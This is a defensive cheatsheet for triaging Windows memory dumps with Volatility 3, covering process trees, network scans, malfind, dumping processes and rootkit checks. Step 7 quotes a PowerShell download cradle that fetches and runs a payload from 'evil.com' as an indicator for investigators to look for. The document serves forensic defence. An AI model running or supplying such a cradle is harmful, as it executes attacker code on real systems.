Memory Forensics Speed Run: Volatility 3 Triage in 10 Minutes
For incident responders who need to quickly analyze a memory dump with Volatility 3, this cheatsheet walks through the essential commands to identify malicious processes, network connections, and injected code.

Prerequisites
- Volatility 3 installed (
pip3 install volatility3) - A memory dump file (we'll use
mem.rawas example) - Python 3.8+
- About 4-8GB RAM for analysis
- 15 minutes of time
Why Volatility 3?
Volatility 3 is faster and has better OS support than v2. The command syntax is cleaner: vol -f memory.raw windows.pslist instead of the old --profile mess.
Step 1: Verify Your Memory Dump
First, confirm your dump is readable and identify the OS:
bashvol3 -f mem.raw windows.info
This shows:
- OS version (Windows 10, build number)
- Kernel base address
- Number of processors
If this fails, your dump might be corrupted or from a non-Windows system. Try linux.info or mac.info.
Step 2: List Running Processes (The Foundation)
Every memory investigation starts here:
bashvol3 -f mem.raw windows.pslist > pslist.txt
Look for:
- Unusual parent-child relationships:
cmd.exespawned byexcel.exe? That's suspicious. - Misspellings:
scvhost.exeinstead ofsvchost.exe - Odd paths: Legitimate
svchost.exeruns fromC:\Windows\System32, notC:\Users\Bob\AppData
Quick grep for common malware process names:
bashgrep -i "powershell\|cmd\|wscript\|mshta" pslist.txt
Step 3: Check Process Tree (Context Matters)
bashvol3 -f mem.raw windows.pstree
This shows parent-child relationships visually. Example output:
code**** 4 System ***** 304 smss.exe ****** 412 csrss.exe ****** 460 winlogon.exe ******* 1337 lsass.exe ******** 2048 calc.exe <- Why is calc spawned by lsass?!
That calc.exe under lsass.exe screams credential dumping tool disguised as calculator.
Step 4: Identify Network Connections
See what the system was talking to:
bashvol3 -f mem.raw windows.netscan > netscan.txt
Filter for established external connections:
bashgrep "ESTABLISHED" netscan.txt | grep -v "127.0.0.1\|0.0.0.0"
Red flags:
- Connections to weird ports (4444, 5555 are common RAT ports)
- Foreign IPs during off-hours
- Processes like
notepad.exewith network activity
Cross-reference IPs:
bashawk '{print $3}' netscan.txt | sort -u > ips.txt # Then check each IP on VirusTotal or AbuseIPDB
Step 5: Hunt for Code Injection
Attackers inject malicious code into legitimate processes. Detect this:
bashvol3 -f mem.raw windows.malfind > malfind.txt
malfind finds memory regions that are:
- Executable + Writable (bad combination)
- Private (not backed by a file)
- Contain suspicious patterns (MZ headers, shell code)
Review the output for processes with injected code. Look for:
explorer.exewith injected DLLssvchost.exewith executable heap allocations
Step 6: Extract Suspicious Process
Found PID 2048 is sketchy? Dump it:
bashvol3 -f mem.raw windows.pslist --pid 2048 --dump
This creates pid.2048.dmp. Analyze it:
bashstrings pid.2048.dmp | grep -i "http\|password\|key"
Or throw it at VirusTotal:
bashcurl -X POST https://www.virustotal.com/api/v3/files \ -H "x-apikey: YOUR_API_KEY" \ -F "file=@pid.2048.dmp"
Step 7: Check Command History
See what commands were run:
bashvol3 -f mem.raw windows.cmdline
Gold mine for finding:
- PowerShell download cradles:
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload') - Encoded commands:
powershell -enc <base64> - File access patterns
Decode base64 PowerShell:
bashecho "<base64_string>" | base64 -d
Step 8: Timeline Analysis (Advanced)
Create a full timeline of system events:
bashvol3 -f mem.raw windows.timeliner --create-bodyfile > bodyfile.txt mactime -b bodyfile.txt -d > timeline.csv
This is intensive but shows file creation/modification/access times. Import timeline.csv into Excel/Splunk to correlate events.
Step 9: Check for Rootkits
Detect hidden processes/drivers:
bashvol3 -f mem.raw windows.pslist > visible.txt vol3 -f mem.raw windows.psscan > all.txt diff visible.txt all.txt
Any differences? That's a process hiding from the normal API—likely rootkit.
For drivers:
bashvol3 -f mem.raw windows.modules vol3 -f mem.raw windows.driverscan
Compare to find unsigned or suspicious drivers.
Quick Reference Cheat Sheet
bash# OS info vol3 -f mem.raw windows.info # Processes vol3 -f mem.raw windows.pslist vol3 -f mem.raw windows.pstree vol3 -f mem.raw windows.psscan # includes hidden # Network vol3 -f mem.raw windows.netscan vol3 -f mem.raw windows.netstat # Malware detection vol3 -f mem.raw windows.malfind vol3 -f mem.raw windows.ldrmodules # DLL injection # Commands & registry vol3 -f mem.raw windows.cmdline vol3 -f mem.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run" # File operations vol3 -f mem.raw windows.filescan | grep -i "malware.exe" vol3 -f mem.raw windows.dumpfiles --pid 1234
Performance Tips
- Use specific plugins: Don't run
vol3 -f mem.rawwithout a plugin—it just shows help. - Output to files: Always
> output.txtfor large datasets. - Parallel analysis: Run multiple terminals analyzing different aspects simultaneously.
Where to Go Next
- Practice with sample dumps: https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples
- Learn Windows internals: "Windows Internals" by Russinovich
- Study malware techniques: MITRE ATT&CK framework
- Try advanced plugins:
hollowfind,suspicious_threads,vadinfo - Automate with Python scripts using Volatility as a library
- Join CTF competitions focusing on memory forensics
Memory forensics reveals what antivirus misses and attackers try to hide. Master these commands, and you'll triage incidents before the coffee gets cold.